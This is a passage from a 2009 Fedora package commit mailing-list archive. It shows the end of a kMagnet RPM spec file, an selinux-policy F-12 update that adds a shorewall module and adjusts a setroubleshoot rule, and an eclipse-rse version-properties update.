        gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &>/dev/null || :
fi


%posttrans
gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null || :


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING README TODO
%{_kde4_bindir}/%{name}
%{_kde4_datadir}/applications/kde4/%{name}.desktop
%{_kde4_datadir}/config.kcfg/%{name}.kcfg
%{_kde4_docdir}/HTML/en/%{name}/
%{_kde4_iconsdir}/hicolor/*/*/*
%{_kde4_appsdir}/kMagnet/


%changelog
* Sat Oct 17 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.03-5
- Fixed changelog macro usage in 0.02-3
- Removed unnecessary scriptlets
- Changed %%files to own the directories

* Fri Oct 16 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.03-4
- Update to 0.03
- Upstream changed name to kMagnet
- Added a patch to fix .desktop file

* Sat Oct 10 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-3
- Removed redundant call to desktop-file-install
- Changed one %%files entry to use %%{_kde4_appsdir}

* Fri Oct 9 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-2
- Fixed Requires and BuildRequires
- Removed VERBOSE=1 from Makefile
- Sane use of macros in files section
- Added documentation
- Added icon code snippets
- Added desktop-file-validate

* Wed Oct 7 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-1
- initial package



From dwalsh at fedoraproject.org  Tue Oct 27 21:53:33 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue, 27 Oct 2009 21:53:33 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 modules-mls.conf, 1.61,
	1.62 policy-F12.patch, 1.120, 1.121
Message-ID: <20091027215333.A05F911C00E6@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24800

Modified Files:
	modules-mls.conf policy-F12.patch 
Log Message:
* Tue Oct 27 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-35
- Allow bittlebee to connect to privoxy port
- Allow iptables to work with shorewall



Index: modules-mls.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-mls.conf,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- modules-mls.conf	20 Oct 2009 11:50:12 -0000	1.61
+++ modules-mls.conf	27 Oct 2009 21:53:28 -0000	1.62
@@ -1867,3 +1867,11 @@ ricci = module
 # RHCS - Red Hat Cluster Suite
 #
 rhcs = module
+
+# Layer: admin
+# Module: shorewall
+#
+# Policy for shorewall
+# 
+shorewall = base
+

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    2 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  324 ++++++
 policy/modules/admin/rpm.te               |   98 +
 policy/modules/admin/shorewall.fc         |    3 
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   35 
 policy/modules/apps/execmem.if            |   76 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  114 ++
 policy/modules/apps/java.te               |   19 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 +
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   11 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  189 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   57 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    7 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   32 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   36 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++
 policy/modules/kernel/domain.te           |   88 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  324 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  126 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  425 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   58 +
 policy/modules/services/abrt.te           |   26 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   41 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  445 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bitlbee.te        |    2 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |   11 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   20 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    6 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   42 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   58 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    1 
 policy/modules/services/lircd.if          |    9 
 policy/modules/services/lircd.te          |   21 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    3 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   16 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   72 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 +-
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 -
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++
 policy/modules/services/postfix.te        |  142 ++
 policy/modules/services/postgresql.fc     |   16 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 ++++++
 policy/modules/services/rhcs.te           |  394 +++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  123 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  138 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 ++-
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/tuned.fc          |    6 
 policy/modules/services/tuned.if          |  140 ++
 policy/modules/services/tuned.te          |   58 +
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   13 
 policy/modules/services/virt.if           |  180 +++
 policy/modules/services/virt.te           |  274 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   37 
 policy/modules/services/xserver.if        |  588 ++++++++++-
 policy/modules/services/xserver.te        |  336 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 ++-
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   20 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  164 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   39 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 --------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1517 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 375 files changed, 18232 insertions(+), 2753 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.120
retrieving revision 1.121
diff -u -p -r1.120 -r1.121
--- policy-F12.patch	27 Oct 2009 21:34:12 -0000	1.120
+++ policy-F12.patch	27 Oct 2009 21:53:29 -0000	1.121
@@ -20850,7 +20850,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/setroubleshoot.te serefpolicy-3.6.32/policy/modules/services/setroubleshoot.te
 --- nsaserefpolicy/policy/modules/services/setroubleshoot.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/setroubleshoot.te	2009-10-08 12:25:22.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/setroubleshoot.te	2009-10-27 17:49:35.000000000 -0400
 @@ -22,13 +22,19 @@
  type setroubleshoot_var_run_t;
  files_pid_file(setroubleshoot_var_run_t)
@@ -20962,7 +20962,7 @@ diff -b -B --ignore-all-space --exclude-
 +corecmd_exec_bin(setroubleshoot_fixit_t)
 +corecmd_exec_shell(setroubleshoot_fixit_t)
 +
-+seutil_domtrans_restorecon(setroubleshoot_fixit_t)
++seutil_domtrans_setfiles(setroubleshoot_fixit_t)
 +seutil_domtrans_setsebool(setroubleshoot_fixit_t)
 +
 +files_read_usr_files(setroubleshoot_fixit_t)



From jjohnstn at fedoraproject.org  Tue Oct 27 21:54:21 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Tue, 27 Oct 2009 21:54:21 +0000 (UTC)
Subject: rpms/eclipse-rse/devel eclipse-rse.spec, 1.7,
	1.8 featureVersions.properties, 1.2,
	1.3 pluginVersions.properties, 1.2, 1.3
Message-ID: <20091027215421.A45ED11C00E6@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-rse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25717

Modified Files:
	eclipse-rse.spec featureVersions.properties 
	pluginVersions.properties 
Log Message:

* Tue Oct 27 2009 Jeff Johnston <jjohnstn at redhat.com> 3.1.1-2
- Update plugin and feature version property files.





Index: eclipse-rse.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-rse/devel/eclipse-rse.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- eclipse-rse.spec	20 Oct 2009 20:29:26 -0000	1.7
+++ eclipse-rse.spec	27 Oct 2009 21:54:21 -0000	1.8
@@ -4,7 +4,7 @@
 Name: eclipse-rse
 Summary: Eclipse Remote System Explorer
 Version: 3.1.1
-Release: 1%{?dist} 
+Release: 2%{?dist} 
 License: EPL
 URL: http://www.eclipse.org/dsdp/tm/
 
@@ -88,6 +88,9 @@ rm -rf %{buildroot}
 %doc org.eclipse.rse.sdk-feature/license.html
 
 %changelog
+* Tue Oct 27 2009 Jeff Johnston <jjohnstn at redhat.com> 3.1.1-2
+- Update plugin and feature version property files.
+
 * Tue Oct 20 2009 Jeff Johnston <jjohnstn at redhat.com> 3.1.1-1
 - Move to 3.1.1 tarball.
 


Index: featureVersions.properties
===================================================================
RCS file: /cvs/extras/rpms/eclipse-rse/devel/featureVersions.properties,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- featureVersions.properties	17 Aug 2009 20:10:19 -0000	1.2
+++ featureVersions.properties	27 Oct 2009 21:54:21 -0000	1.3
@@ -1,22 +1,22 @@
-# Tue Jul 28 12:43:22 EDT 2009
+# Tue Oct 20 14:43:33 EDT 2009
 org.eclipse.tm.discovery,0.0.0=v200905272300
-org.eclipse.rse,0.0.0=v200905272300
-org.eclipse.rse.core,0.0.0=v200905272300
-org.eclipse.rse.dstore,0.0.0=v200905272300
+org.eclipse.rse,0.0.0=v200907301400
+org.eclipse.rse.core,0.0.0=v200907301400
+org.eclipse.rse.dstore,0.0.0=v200907301400
 org.eclipse.rse.examples,0.0.0=v200905272300
-org.eclipse.rse.ftp,0.0.0=v200905272300
-org.eclipse.rse.local,0.0.0=v200905272300
-org.eclipse.rse.sdk,0.0.0=v200905272300
-org.eclipse.rse.ssh,0.0.0=v200905272300
-org.eclipse.rse.telnet,0.0.0=v200905272300
-org.eclipse.rse.terminals,0.0.0=v200905272300
-org.eclipse.rse.tests,0.0.0=v200905272300
+org.eclipse.rse.ftp,0.0.0=v200909160005
+org.eclipse.rse.local,0.0.0=v200907301400
+org.eclipse.rse.sdk,0.0.0=v200907301400
+org.eclipse.rse.ssh,0.0.0=v200909160005
+org.eclipse.rse.telnet,0.0.0=v200908051630
+org.eclipse.rse.terminals,0.0.0=v200907301400
+org.eclipse.rse.tests,0.0.0=v200909160005
 org.eclipse.rse.useractions,0.0.0=v200905272300
-org.eclipse.tm.terminal,0.0.0=v200905272300
-org.eclipse.tm.terminal.sdk,0.0.0=v200905272300
+org.eclipse.tm.terminal,0.0.0=v200907301400
+org.eclipse.tm.terminal.sdk,0.0.0=v200907301400
 org.eclipse.tm.terminal.serial,0.0.0=v200905272300
 org.eclipse.tm.terminal.ssh,0.0.0=v200905272300
-org.eclipse.tm.terminal.telnet,0.0.0=v200905272300
+org.eclipse.tm.terminal.telnet,0.0.0=v200907301400
 org.eclipse.tm.terminal.test,0.0.0=v200905272300
-org.eclipse.tm.terminal.view,0.0.0=v200905272300
+org.eclipse.tm.terminal.view,0.0.0=v200907301400
 org.eclipse.rse.wince,0.0.0=v200905272300


Index: pluginVersions.properties
===================================================================
RCS file: /cvs/extras/rpms/eclipse-rse/devel/pluginVersions.properties,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- pluginVersions.properties	17 Aug 2009 20:10:19 -0000	1.2
+++ pluginVersions.properties	27 Oct 2009 21:54:21 -0000	1.3
@@ -1,4 +1,4 @@
-# Tue Jul 28 12:43:22 EDT 2009
+# Tue Oct 20 14:43:33 EDT 2009
 org.eclipse.rse.discovery,0.0.0=v200905272300
 org.eclipse.tm.discovery.doc.isv,0.0.0=v200905272300
 org.eclipse.tm.discovery.engine,0.0.0=v200905272300
@@ -8,37 +8,37 @@ org.eclipse.tm.discovery.protocol.dnssd,
 org.eclipse.tm.discovery.transport.udp,0.0.0=v200905272300
 org.eclipse.tm.discovery.view,0.0.0=v200905272300
 org.eclipse.tm.discovery.wizard,0.0.0=v200905272300
-org.eclipse.dstore.core,0.0.0=v200906032235
+org.eclipse.dstore.core,0.0.0=v200909160005
 org.eclipse.dstore.doc.isv,0.0.0=v200905272300
-org.eclipse.dstore.extra,0.0.0=v200905272300
+org.eclipse.dstore.extra,0.0.0=v200907301400
 org.eclipse.rse,0.0.0=v200905272300
-org.eclipse.rse.connectorservice.dstore,0.0.0=v200906032235
+org.eclipse.rse.connectorservice.dstore,0.0.0=v200909160005
 org.eclipse.rse.connectorservice.local,0.0.0=v200905272300
 org.eclipse.rse.connectorservice.ssh,0.0.0=v200905272300
-org.eclipse.rse.connectorservice.telnet,0.0.0=v200905272300
-org.eclipse.rse.core,0.0.0=v200905272300
+org.eclipse.rse.connectorservice.telnet,0.0.0=v200908051630
+org.eclipse.rse.core,0.0.0=v200909160005
 org.eclipse.rse.doc.isv,0.0.0=v200905272300
 org.eclipse.rse.doc.user,0.0.0=v200905272300
 org.eclipse.rse.dstore.security,0.0.0=v200905272300
 org.eclipse.rse.efs,0.0.0=v200905272300
-org.eclipse.rse.efs.ui,0.0.0=v200905272300
+org.eclipse.rse.efs.ui,0.0.0=v200907301550
 org.eclipse.rse.examples.daytime,0.0.0=v200905272300
 org.eclipse.rse.examples.tutorial,0.0.0=v200905272300
-org.eclipse.rse.files.ui,0.0.0=v200906102345
-org.eclipse.rse.importexport,0.0.0=v200906032235
-org.eclipse.rse.processes.ui,0.0.0=v200905272300
+org.eclipse.rse.files.ui,0.0.0=v200908061445
+org.eclipse.rse.importexport,0.0.0=v200909160005
+org.eclipse.rse.processes.ui,0.0.0=v200907301400
 org.eclipse.rse.sdk,0.0.0=v200905272300
-org.eclipse.rse.services.dstore,0.0.0=v200906102345
-org.eclipse.rse.services.files.ftp,0.0.0=v200905272300
-org.eclipse.rse.services.local,0.0.0=v200905272300
-org.eclipse.rse.services.ssh,0.0.0=v200905272300
+org.eclipse.rse.services.dstore,0.0.0=v200909160005
+org.eclipse.rse.services.files.ftp,0.0.0=v200909160005
+org.eclipse.rse.services.local,0.0.0=v200909160005
+org.eclipse.rse.services.ssh,0.0.0=v200909160005
 org.eclipse.rse.services.telnet,0.0.0=v200905272300
-org.eclipse.rse.services,0.0.0=v200906102345
+org.eclipse.rse.services,0.0.0=v200909160005
 org.eclipse.rse.shells.ui,0.0.0=v200905272300
-org.eclipse.rse.subsystems.files.core,0.0.0=v200906102345
+org.eclipse.rse.subsystems.files.core,0.0.0=v200909160005
 org.eclipse.rse.subsystems.files.dstore,0.0.0=v200905272300
 org.eclipse.rse.subsystems.files.ftp,0.0.0=v200905272300
-org.eclipse.rse.subsystems.files.local,0.0.0=v200905272300
+org.eclipse.rse.subsystems.files.local,0.0.0=v200907301400
 org.eclipse.rse.subsystems.files.ssh,0.0.0=v200905272300
 org.eclipse.rse.subsystems.processes.core,0.0.0=v200905272300
 org.eclipse.rse.subsystems.processes.dstore,0.0.0=v200905272300
@@ -49,19 +49,19 @@ org.eclipse.rse.subsystems.shells.dstore
 org.eclipse.rse.subsystems.shells.local,0.0.0=v200905272300
 org.eclipse.rse.subsystems.shells.ssh,0.0.0=v200905272300
 org.eclipse.rse.subsystems.shells.telnet,0.0.0=v200905272300
-org.eclipse.rse.subsystems.terminals.core,0.0.0=v200905272300
-org.eclipse.rse.subsystems.terminals.ssh,0.0.0=v200905272300
-org.eclipse.rse.terminals.ui,0.0.0=v200905272300
-org.eclipse.rse.tests,0.0.0=v200905272300
+org.eclipse.rse.subsystems.terminals.core,0.0.0=v200908051630
+org.eclipse.rse.subsystems.terminals.ssh,0.0.0=v200908051630
+org.eclipse.rse.terminals.ui,0.0.0=v200908061445
+org.eclipse.rse.tests,0.0.0=v200909160005
 org.eclipse.rse.tests.framework,0.0.0=v200905272300
-org.eclipse.rse.ui,0.0.0=v200905272300
+org.eclipse.rse.ui,0.0.0=v200909160005
 org.eclipse.rse.useractions,0.0.0=v200905272300
-org.eclipse.tm.terminal,0.0.0=v200905272300
+org.eclipse.tm.terminal,0.0.0=v200907301400
 org.eclipse.tm.terminal.serial,0.0.0=v200905272300
 org.eclipse.tm.terminal.ssh,0.0.0=v200905272300
-org.eclipse.tm.terminal.telnet,0.0.0=v200905272300
-org.eclipse.tm.terminal.test,0.0.0=v200905272300
-org.eclipse.tm.terminal.view,0.0.0=v200905272300
+org.eclipse.tm.terminal.telnet,0.0.0=v200909160005
+org.eclipse.tm.terminal.test,0.0.0=v200907301400
+org.eclipse.tm.terminal.view,0.0.0=v200907301400
 org.eclipse.test,0.0.0=v20081002
